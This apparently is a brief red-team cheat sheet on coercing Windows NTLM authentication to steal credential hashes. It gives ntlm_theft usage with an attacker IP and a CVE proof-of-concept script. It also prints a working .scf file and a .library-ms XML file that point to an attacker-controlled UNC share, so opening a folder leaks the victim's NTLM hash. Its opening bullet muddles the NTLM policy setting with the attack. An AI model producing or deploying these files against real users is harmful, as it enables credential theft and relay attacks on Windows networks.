Force NTLM (*.scf)

Force NTLM Authentication with Windows

• To force NTLM authentication in Windows, configure the “Network Security: LAN Manager authentication level” policy to enforce NTLMv2 usage.
• NTLM (New Technology LAN Manager) is a suite of Microsoft security protocols used to authenticate users, provide data integrity, and ensure confidentiality in Windows networks.
• It is a challenge-response authentication protocol, meaning it verifies user identity without transmitting the password over the network.

Tools

Repo link:- ntlm_theft

Usage:-

python3 ntlm_theft.py -g all -s Attacker_IP -f file_Name    # Generate all files

Repo link:- cve poc

python3 scf-cve.py     # It's create a .zip file

Resources

• 2025 CVE
• ired Team
• securify.nl

Exploit Demo

.scf File

[shell]
Command=2
IconFile=\\responder.local\share\pwn.ico

[Taskbar]
Command=ToggleDesktop

2025 CVE (Exploit.zip)

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\\\responder.local\\shared</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>